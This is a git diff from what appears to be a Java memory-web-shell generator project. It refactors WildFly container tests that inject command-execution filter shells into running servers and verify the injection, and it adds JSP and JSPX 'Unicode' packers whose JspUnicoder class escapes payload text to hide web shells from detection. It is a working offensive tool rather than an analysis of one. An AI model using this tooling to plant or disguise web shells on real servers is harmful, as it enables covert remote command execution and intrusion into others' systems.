.withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|11.0.5|55", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Undertow, data); - } +public class Wildfly18ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .wildfly("jboss/wildfly:18.0.1.Final") + .expectedJdkVersion("JDK|11.0.5|55") + .targetJdkVersion(Opcodes.V11) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java index 2910632c..1c631974 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java @@ -1,99 +1,34 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.*; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly23ContainerTest { - public static final String imageName = "jboss/wildfly:23.0.2.Final"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|11.0.8|55", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Undertow, data); - } +public class Wildfly23ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.wildfly("jboss/wildfly:23.0.2.Final") + .expectedJdkVersion("JDK|11.0.8|55") + .targetJdkVersion(Opcodes.V11) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java index 0a793fcc..23ad2e0e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java @@ -1,99 +1,34 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.*; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly30ContainerTest { - public static final String imageName = "quay.io/wildfly/wildfly:30.0.1.Final-jdk17"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|17.0.9|61", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Undertow, data); - } +public class Wildfly30ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V17); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.wildflyJakarta("quay.io/wildfly/wildfly:30.0.1.Final-jdk17") + .expectedJdkVersion("JDK|17.0.9|61") + .targetJdkVersion(Opcodes.V17) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java index 698fe8c7..3106d078 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java @@ -1,99 +1,34 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.*; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly36ContainerTest { - public static final String imageName = "quay.io/wildfly/wildfly:36.0.0.Final-jdk21"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|21.0.6|65", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Undertow, data); - } +public class Wildfly36ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V17); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.wildflyJakarta("quay.io/wildfly/wildfly:36.0.0.Final-jdk21") + .expectedJdkVersion("JDK|21.0.6|65") + .targetJdkVersion(Opcodes.V21) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java index ebaf9565..171288ad 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java @@ -1,35 +1,12 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.*; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * Wildfly - DockerHub * Wildfly - Quay @@ -37,66 +14,25 @@ * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly9ContainerTest { - public static final String imageName = "jboss/wildfly:9.0.1.Final"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_191|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Undertow, data); - } +public class Wildfly9ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .wildfly("jboss/wildfly:9.0.1.Final") + .expectedJdkVersion("JDK|1.8.0_191|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/memshell-agent/memshell-agent-attacher/src/main/java/VirtualMachine.java b/memshell-agent/memshell-agent-attacher/src/main/java/VirtualMachine.java index 91935b1c..3e171936 100644 --- a/memshell-agent/memshell-agent-attacher/src/main/java/VirtualMachine.java +++ b/memshell-agent/memshell-agent-attacher/src/main/java/VirtualMachine.java @@ -25,7 +25,6 @@ import java.net.Socket; import java.nio.ByteBuffer; import java.nio.channels.FileLock; -import java.security.PrivilegedAction; import java.security.SecureRandom; import java.util.*; import java.util.concurrent.TimeUnit; diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java index 5b31d90f..48c1a4c0 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java @@ -8,7 +8,6 @@ import net.bytebuddy.implementation.Implementation; import net.bytebuddy.jar.asm.ClassReader; import net.bytebuddy.jar.asm.ClassVisitor; -import net.bytebuddy.jar.asm.ClassWriter; import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.pool.TypePool; diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCallTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCallTest.java index aaed8e4f..f4bde39c 100644 --- a/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCallTest.java +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCallTest.java @@ -2,12 +2,8 @@ import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; -import net.bytebuddy.dynamic.DynamicType; import org.junit.jupiter.api.Test; -import java.nio.file.Files; -import java.nio.file.Paths; - import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNull; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index c17a0818..2621c34d 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -23,10 +23,7 @@ import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.jexl.JEXLPacker; import com.reajason.javaweb.packer.jinjava.JinJavaPacker; -import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker; -import com.reajason.javaweb.packer.jsp.DefineClassJspPacker; -import com.reajason.javaweb.packer.jsp.JspPacker; -import com.reajason.javaweb.packer.jsp.JspxPacker; +import com.reajason.javaweb.packer.jsp.*; import com.reajason.javaweb.packer.jxpath.JXPathPacker; import com.reajason.javaweb.packer.jxpath.JXPathScriptEnginePacker; import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipJDK17Packer; @@ -79,8 +76,11 @@ public enum Packers { */ JSP(new JspPacker()), ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), + ClassLoaderJSPUnicode(new ClassLoaderJspUnicodePacker(), JspPacker.class), DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), + DefineClassJSPUnicode(new DefineClassJspUnicodePacker(), JspPacker.class), JSPX(new JspxPacker(), JspPacker.class), + JSPXUnicode(new JspxUnicodePacker(), JspPacker.class), /** * BigInteger diff --git a/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java index 9985f7b3..41147bf2 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java @@ -3,13 +3,9 @@ import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; -import java.io.IOException; -import java.nio.charset.Charset; import java.util.HashMap; import java.util.Map; -import java.util.Objects; /** * @author ReaJason diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java index c9a3efb8..e5aab34d 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java @@ -4,10 +4,6 @@ import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; - -import java.nio.charset.Charset; -import java.util.Objects; /** * @author ReaJason diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspUnicodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspUnicodePacker.java new file mode 100644 index 00000000..ffb49f30 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspUnicodePacker.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.packer.jsp; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +public class ClassLoaderJspUnicodePacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + return JspUnicoder.encode(Packers.ClassLoaderJSP.getInstance().pack(classPackerConfig), true); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspUnicodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspUnicodePacker.java new file mode 100644 index 00000000..709c42c5 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspUnicodePacker.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.packer.jsp; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.Util; +import lombok.SneakyThrows; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class DefineClassJspUnicodePacker implements Packer { + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return JspUnicoder.encode(Packers.DefineClassJSP.getInstance().pack(config), true); + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspUnicoder.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspUnicoder.java new file mode 100644 index 00000000..ef51d957 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspUnicoder.java @@ -0,0 +1,84 @@ +package com.reajason.javaweb.packer.jsp; + +import org.apache.commons.codec.binary.Hex; + +import java.nio.charset.StandardCharsets; + +public class JspUnicoder { + + public static String encode(String content, boolean isJsp) { + if (content == null) { + return null; + } + StringBuilder result = new StringBuilder(content.length()); + int lineStart = 0; + int length = content.length(); + for (int i = 0; i < length; i++) { + if (content.charAt(i) == '\n') { + appendEncodedLine(result, content.substring(lineStart, i), isJsp); + result.append('\n'); + lineStart = i + 1; + } + } + if (lineStart <= length) { + appendEncodedLine(result, content.substring(lineStart), isJsp); + } + return result.toString(); + } + + private static void appendEncodedLine(StringBuilder output, String line, boolean isJsp) { + if (shouldSkipLine(line, isJsp)) { + output.append(line); + return; + } + if (line.contains("page import") || line.contains("page pageEncoding") || line.contains("page contentType")) { + int firstQuote = line.indexOf('"'); + int lastQuote = line.lastIndexOf('"'); + if (firstQuote != -1 && lastQuote > firstQuote) { + String oldStr = line.substring(firstQuote + 1, lastQuote); + String encoded = encodeWordChars(oldStr); + output.append(line, 0, firstQuote + 1) + .append(encoded) + .append(line.substring(lastQuote)); + return; + } + } + output.append(encodeWordChars(line)); + } + + private static boolean shouldSkipLine(String line, boolean isJsp) { + if (line == null) { + return false; + } + if (!isJsp && (line.contains("jsp:root") + || line.contains("jsp:declaration") + || line.contains("jsp:scriptlet") + || line.contains("jsp:directive.page"))) { + return true; + } + return false; + } + + private static String encodeWordChars(String input) { + StringBuilder encoded = new StringBuilder(input.length() * 4); + for (int i = 0; i < input.length(); i++) { + char ch = input.charAt(i); + if (isWordChar(ch)) { + encoded.append(toUnicodeEscape(ch)); + } else { + encoded.append(ch); + } + } + return encoded.toString(); + } + + private static boolean isWordChar(char ch) { + return Character.isLetterOrDigit(ch) || ch == '_'; + } + + private static String toUnicodeEscape(char ch) { + byte[] bytes = String.valueOf(ch).getBytes(StandardCharsets.UTF_8); + return "\\u00" + Hex.encodeHexString(bytes); + } +} + diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java index c74de657..685a821f 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java @@ -4,10 +4,6 @@ import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; - -import java.nio.charset.Charset; -import java.util.Objects; /** * @author ReaJason diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxUnicodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxUnicodePacker.java new file mode 100644 index 00000000..80b327a0 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxUnicodePacker.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.packer.jsp; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +public class JspxUnicodePacker implements Packer { + @Override + public String pack(ClassPackerConfig classPackerConfig) { + String content = Packers.JSPX.getInstance().pack(classPackerConfig); + return JspUnicoder.encode(content, false); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java index 950891f8..0e33b65e 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java @@ -1,14 +1,6 @@ package com.reajason.javaweb.packer.scriptengine; import com.reajason.javaweb.packer.AggregatePacker; -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; - -import java.io.IOException; -import 